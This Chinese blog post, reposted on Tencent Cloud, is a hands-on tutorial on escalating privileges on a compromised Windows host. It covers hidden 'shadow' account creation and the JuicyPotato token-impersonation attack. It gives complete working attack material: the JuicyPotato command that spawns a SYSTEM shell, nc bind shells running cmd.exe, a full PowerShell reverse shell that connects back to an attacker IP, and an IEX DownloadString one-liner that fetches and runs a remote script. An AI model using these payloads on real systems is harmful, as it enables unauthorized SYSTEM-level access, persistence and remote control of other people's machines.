前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >护网问题之——Windows入侵之后权限不够怎么办

护网问题之——Windows入侵之后权限不够怎么办

作者头像
网e渗透安全部
发布2024-06-07 14:37:34
990
发布2024-06-07 14:37:34
举报
文章被收录于专栏:白安全组白安全组

权限不够?你不会提权么?

小傻子,今天教你提权

一、Windows用户与组

1、Windows用户的分类

guest:游客账户权限

user:普通用户权限

administrator:管理员用户权限

ststem:机器最高权限

2、用户相关命令

net user //查看有多少用户

net user administrator //查看administrator账户的信息

net user test passwd /add //创建用户设置密码

net user test /del //删除用户

net user test$ passwd /add //隐藏账户,影子用户,需要用管理组才能看到

3、组相关命令

net localgroup //查看有哪些组

net localgroup administrators //查看组中用户

net localgroup testgroup /add //增加组

二、Potalo家族提权

是通过各种方式和在本地NTLM中继承获取system令牌,再模拟令牌执行命令。

NTLM:简单来说,Windows会将密码放置内存中,NTLM hash加密之后,进行比对。

system令牌:用户登录之后,会有一个权限标识,可以比作我们的学生卡,教师卡,登录之后根据你的身份分配卡。

1、提权条件

获取高权限令牌--token

拥有SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 权限

可以利用whoami /priv命令查看是否有上面两个权限

以下用户拥有SeImpersonatePrivilege权限:

本地管理员账户和本地服务账户

由SCM(服务控制管理器)启动的服务

由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运⾏的COM服务器

当用户具有SeImpersonatePrivilege 特权,可以调⽤ CreateProcessWithTokenW 以某

个Token的权限启动新进程。

当⽤户具有 SeAssignPrimaryTokenPrivilege 特权,可以调⽤ CreateProcessAsUserW

以指定⽤户权限启动新进程。

Windows 服务使⽤的登录账号:

代码语言:javascript
复制
NT AUTHORITY\System
NT AUTHORITY\Network Service
NT AUTHORITY\Local Service

2、提权方式

1、JuicyPotato

实现原理

通过DCOM 来使服务向攻击者监听的端⼝发起连接并进⾏NTLM认证。

DCOM主要是Windows的一个封装的组件,可以交互通讯,利用这个接口,可以对网络发送请求。

枚举可⽤COM对象的⽅法(获取对应的 CLSID):

https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1

https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat

它的一个大概的方式,就是需要先获取对应的CLSID

每个dcom都会对应一个CLSID

https://ohpe.it/juicy-potato/CLSID/

实验

环境预设:

win7 -- 账户:bai(⾮administrators组),ip:192.168.195.129,拥有

SeImpersonatePrivilege(身份验证后模拟客户端) 权限。 这个权限正常是服务用户和管理员用户拥有,这里可以强行设置,为了实验

kali -- ip:192.168.195.130

这里首先我们模拟已经利用nc初步链接上了目标

目标端执行:

nc.exe -lvp 999 -e c:\windows\system32\cmd.exe

我们这里用一个正向链接

黑客端开启

nc -nv 目标ip 3333

获取到链接之后,可以使用

代码语言:javascript
复制
chcp 65001

修改编码为utf-8

之后我们下一步操作,查找对应的CLSID

查找对应的CLSID

这里我们首先下载

https://github.com/ohpe/juicy-potato/tree/master

这里整个文件包,里面有一个test文件夹

然后我们需要下载juicypotato的exe文件

之后我们需要到CLSID文件夹中找到对应的系统

这里我们目前事win7,我们就需要到win7文件夹下面,复制CLSID.list到test文件夹下,然后再将上面的exe文件也放到test目录下,我们直接通过执行test_clsid.bat来测试

之后下面会有一个result.log文件,这里就是测试之后的日志,我们打开之后找后面事system权限的

然后复制前面的clsid进行测试,直到可用为止

提权

我们可以直接执行命令

JuicyPotato.exe -t * -p C:\windows\system32\cmd.exe -l 1337 -c

{03ca98d6-ff5d-49b8-abc6-03dd84127020}

调用出来system权限的cmd框,但是这里仅限于可以远程3389链接的主机,如果我们是纯粹的命令行要怎么办呢,这里我们就需要写一个bat脚本来运行一个nc,去连接到黑客机器来获取权限。我们也可以直接利用这个system权限去运行一个木马程序。

这里我们首先建一个rev.ps1文件,这个文件是powershell的运行文件

代码语言:javascript
复制
function Invoke-PowerShellTcp
{
     [CmdletBinding(DefaultParameterSetName="reverse")] Param(
         [Parameter(Position = 0, Mandatory = $true,ParameterSetName="reverse")]
         [Parameter(Position = 0, Mandatory = $false,ParameterSetName="bind")]
         [String]
         $IPAddress,
 
         [Parameter(Position = 1, Mandatory = $true,ParameterSetName="reverse")]
         [Parameter(Position = 1, Mandatory = $true,ParameterSetName="bind")]
         [Int]
         $Port,
         
         [Parameter(ParameterSetName="reverse")]
         [Switch]
         $Reverse,
         
         [Parameter(ParameterSetName="bind")]
         [Switch]
         $Bind
 )
 
 try
 {
     #Connect back if the reverse switch is used.
     if ($Reverse)
     {
         $client = New-Object
         System.Net.Sockets.TCPClient($IPAddress,$Port)
     }
     #Bind to the provided port if Bind switch is used.
     if ($Bind)
     {
         $listener = [System.Net.Sockets.TcpListener]$Port
         $listener.start() 
         $client = $listener.AcceptTcpClient()
     }
     $stream = $client.GetStream()
     [byte[]]$bytes = 0..65535|%{0}
     #Send back current username and computername

     $sendbytes = ([text.encoding]::ASCII).GetBytes("WindowsPowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
     $stream.Write($sendbytes,0,$sendbytes.Length)

     #Show an interactive PowerShell prompt
     $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get锟綥ocation).Path + '>')
     $stream.Write($sendbytes,0,$sendbytes.Length)
     while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
     {
         $EncodedText = New-Object -TypeNameSystem.Text.ASCIIEncoding
         $data = $EncodedText.GetString($bytes,0, $i)
         try
         {
             #Execute the command on the target.
             $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
         }
         catch
         {
             Write-Warning "Something went wrong with execution of command on the target."
             Write-Error $_
         }
             $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
             $x = ($error[0] | Out-String)
             $error.clear()
             $sendback2 = $sendback2 + $x

             #Return the results
             $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
             $stream.Write($sendbyte,0,$sendbyte.Length)
             $stream.Flush() 
         }
         $client.Close()
         if ($listener)
         {
             $listener.Stop()
         }
     }
     catch
     {
         Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
         Write-Error $_
     }
}
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.195.130 -Port 9999

上面文件最后一样就是我们要连接的黑客机器的地址

然后我们需要新建一个rev.bat文件来运行这个powershell文件

代码语言:javascript
复制
Powershell -executionpolicy unrestricted "IEX(New-Object Net.WebClient).DownloadString('http://172. 16.42.1/Rev.psl')"

我们这里就需要将ps1文件挂到服务器之类上面,提供远程下载,这样最后我们就可以以system权限,利用nc连接上

服务器开启远程下载

我这里使用bat文件

代码语言:javascript
复制
Powershell -executionpolicy unrestricted "c:\nc.exe -lvp 9999 -e c:windows\system32\cmd.exe"

运行之后使用kali接收即可

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、Windows用户与组
    • 1、Windows用户的分类
      • 2、用户相关命令
        • 3、组相关命令
        • 二、Potalo家族提权
          • 1、提权条件
            • 2、提权方式
              • 1、JuicyPotato
          相关产品与服务
          多因子身份认证
          多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档